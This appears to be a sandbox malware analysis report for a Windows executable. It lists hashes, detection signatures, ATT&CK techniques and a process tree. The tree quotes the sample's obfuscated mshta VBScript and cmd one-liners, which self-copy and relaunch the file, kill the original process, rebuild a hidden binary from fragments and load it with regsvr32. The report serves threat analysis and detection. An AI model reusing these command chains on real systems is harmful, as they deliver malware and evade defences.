fc9920b7b170b63cd3167b21cc2bff2c746351c6010d5d96dfc2b2e4bab8fe5c

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
19/03/2024, 12:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

d6233c6193802ea1bdb6513178dee0d4.exe
Size

1.6MB
MD5

d6233c6193802ea1bdb6513178dee0d4
SHA1

8ee6a6c09f4b381c9950c6dc07b5fbff394c82f2
SHA256

fc9920b7b170b63cd3167b21cc2bff2c746351c6010d5d96dfc2b2e4bab8fe5c
SHA512

9cfa2be3c9bec03a13f864531af4e1d701cc13559d86b5ff8916f0ac825ab7c2d779f7fca39d290c86bd9dabe51992a35392c508e7b4592168e38375838efa76
SSDEEP

49152:N8rQmdYldsM0ve6Mx+FhgYF158BLYRbK8R:artK/0W6q+FatBkR9R

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2580	H2B6ZYOWt9N1.exe

Loads dropped DLL 1 IoCs

pid	Process
2356	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 1 IoCs

evasion

pid	Process
2676	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2676	taskkill.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2956 wrote to memory of 2380	2956	d6233c6193802ea1bdb6513178dee0d4.exe	28
PID 2956 wrote to memory of 2380	2956	d6233c6193802ea1bdb6513178dee0d4.exe	28
PID 2956 wrote to memory of 2380	2956	d6233c6193802ea1bdb6513178dee0d4.exe	28
PID 2956 wrote to memory of 2380	2956	d6233c6193802ea1bdb6513178dee0d4.exe	28
PID 2380 wrote to memory of 2356	2380	mshta.exe	29
PID 2380 wrote to memory of 2356	2380	mshta.exe	29
PID 2380 wrote to memory of 2356	2380	mshta.exe	29
PID 2380 wrote to memory of 2356	2380	mshta.exe	29
PID 2356 wrote to memory of 2580	2356	cmd.exe	31
PID 2356 wrote to memory of 2580	2356	cmd.exe	31
PID 2356 wrote to memory of 2580	2356	cmd.exe	31
PID 2356 wrote to memory of 2580	2356	cmd.exe	31
PID 2356 wrote to memory of 2676	2356	cmd.exe	32
PID 2356 wrote to memory of 2676	2356	cmd.exe	32
PID 2356 wrote to memory of 2676	2356	cmd.exe	32
PID 2356 wrote to memory of 2676	2356	cmd.exe	32
PID 2580 wrote to memory of 2884	2580	H2B6ZYOWt9N1.exe	33
PID 2580 wrote to memory of 2884	2580	H2B6ZYOWt9N1.exe	33
PID 2580 wrote to memory of 2884	2580	H2B6ZYOWt9N1.exe	33
PID 2580 wrote to memory of 2884	2580	H2B6ZYOWt9N1.exe	33
PID 2884 wrote to memory of 2444	2884	mshta.exe	35
PID 2884 wrote to memory of 2444	2884	mshta.exe	35
PID 2884 wrote to memory of 2444	2884	mshta.exe	35
PID 2884 wrote to memory of 2444	2884	mshta.exe	35
PID 2580 wrote to memory of 960	2580	H2B6ZYOWt9N1.exe	37
PID 2580 wrote to memory of 960	2580	H2B6ZYOWt9N1.exe	37
PID 2580 wrote to memory of 960	2580	H2B6ZYOWt9N1.exe	37
PID 2580 wrote to memory of 960	2580	H2B6ZYOWt9N1.exe	37

C:\Users\Admin\AppData\Local\Temp\d6233c6193802ea1bdb6513178dee0d4.exe
"C:\Users\Admin\AppData\Local\Temp\d6233c6193802ea1bdb6513178dee0d4.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2956
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" vbscriPT: cloSe(cReATEobJECt ( "wSCrIPT.shell" ). RUn ( "CMd /q /c Copy /Y ""C:\Users\Admin\AppData\Local\Temp\d6233c6193802ea1bdb6513178dee0d4.exe"" ..\H2B6ZYOWt9N1.exe&& STArt ..\H2B6ZYOwT9N1.EXE /Pxr__DUmdZ810p1T & iF """" =="""" for %k In (""C:\Users\Admin\AppData\Local\Temp\d6233c6193802ea1bdb6513178dee0d4.exe"" ) do taskkill -iM ""%~nXk"" -f " ,0 , tRue) )
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2380
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /q /c Copy /Y "C:\Users\Admin\AppData\Local\Temp\d6233c6193802ea1bdb6513178dee0d4.exe" ..\H2B6ZYOWt9N1.exe&& STArt ..\H2B6ZYOwT9N1.EXE /Pxr__DUmdZ810p1T & iF "" =="" for %k In ("C:\Users\Admin\AppData\Local\Temp\d6233c6193802ea1bdb6513178dee0d4.exe") do taskkill -iM "%~nXk" -f
    3⤵
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2356
  - - C:\Users\Admin\AppData\Local\Temp\H2B6ZYOWt9N1.exe
      ..\H2B6ZYOwT9N1.EXE /Pxr__DUmdZ810p1T
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2580
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscriPT: cloSe(cReATEobJECt ( "wSCrIPT.shell" ). RUn ( "CMd /q /c Copy /Y ""C:\Users\Admin\AppData\Local\Temp\H2B6ZYOWt9N1.exe"" ..\H2B6ZYOWt9N1.exe&& STArt ..\H2B6ZYOwT9N1.EXE /Pxr__DUmdZ810p1T & iF ""/Pxr__DUmdZ810p1T "" =="""" for %k In (""C:\Users\Admin\AppData\Local\Temp\H2B6ZYOWt9N1.exe"" ) do taskkill -iM ""%~nXk"" -f " ,0 , tRue) )
        5⤵
        Modifies Internet Explorer settings
        Suspicious use of WriteProcessMemory
        
        PID:2884
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /c Copy /Y "C:\Users\Admin\AppData\Local\Temp\H2B6ZYOWt9N1.exe" ..\H2B6ZYOWt9N1.exe&& STArt ..\H2B6ZYOwT9N1.EXE /Pxr__DUmdZ810p1T & iF "/Pxr__DUmdZ810p1T " =="" for %k In ("C:\Users\Admin\AppData\Local\Temp\H2B6ZYOWt9N1.exe") do taskkill -iM "%~nXk" -f
        6⤵
        
        PID:2444
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBsCRipt:cloSe( crEAteOBjecT ("wsCrIpT.SHElL" ).RUN ("cMd.exE /c EchO C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\CWa> QMAYPJ4r.y9 & EchO | seT /P = ""MZ"" > F5Q7VM.QHS & cOpy /b /Y f5Q7Vm.QHS +3Z66_5OA.W + aSg6.VV + S_6i~t.h6+FFrXO.8u + TMSNJim6.J + i_tI18W.a + qMaypj4r.y9 ..\NOXj.P &DeL /q *& sTarT regsvr32 ..\NOXj.P /U /s ",0 , TrUE) )
        5⤵
        
        PID:960
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill -iM "d6233c6193802ea1bdb6513178dee0d4.exe" -f
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

\Users\Admin\AppData\Local\Temp\H2B6ZYOWt9N1.exe

Filesize
1.6MB

MD5
d6233c6193802ea1bdb6513178dee0d4

SHA1
8ee6a6c09f4b381c9950c6dc07b5fbff394c82f2

SHA256
fc9920b7b170b63cd3167b21cc2bff2c746351c6010d5d96dfc2b2e4bab8fe5c

SHA512
9cfa2be3c9bec03a13f864531af4e1d701cc13559d86b5ff8916f0ac825ab7c2d779f7fca39d290c86bd9dabe51992a35392c508e7b4592168e38375838efa76

Download Submit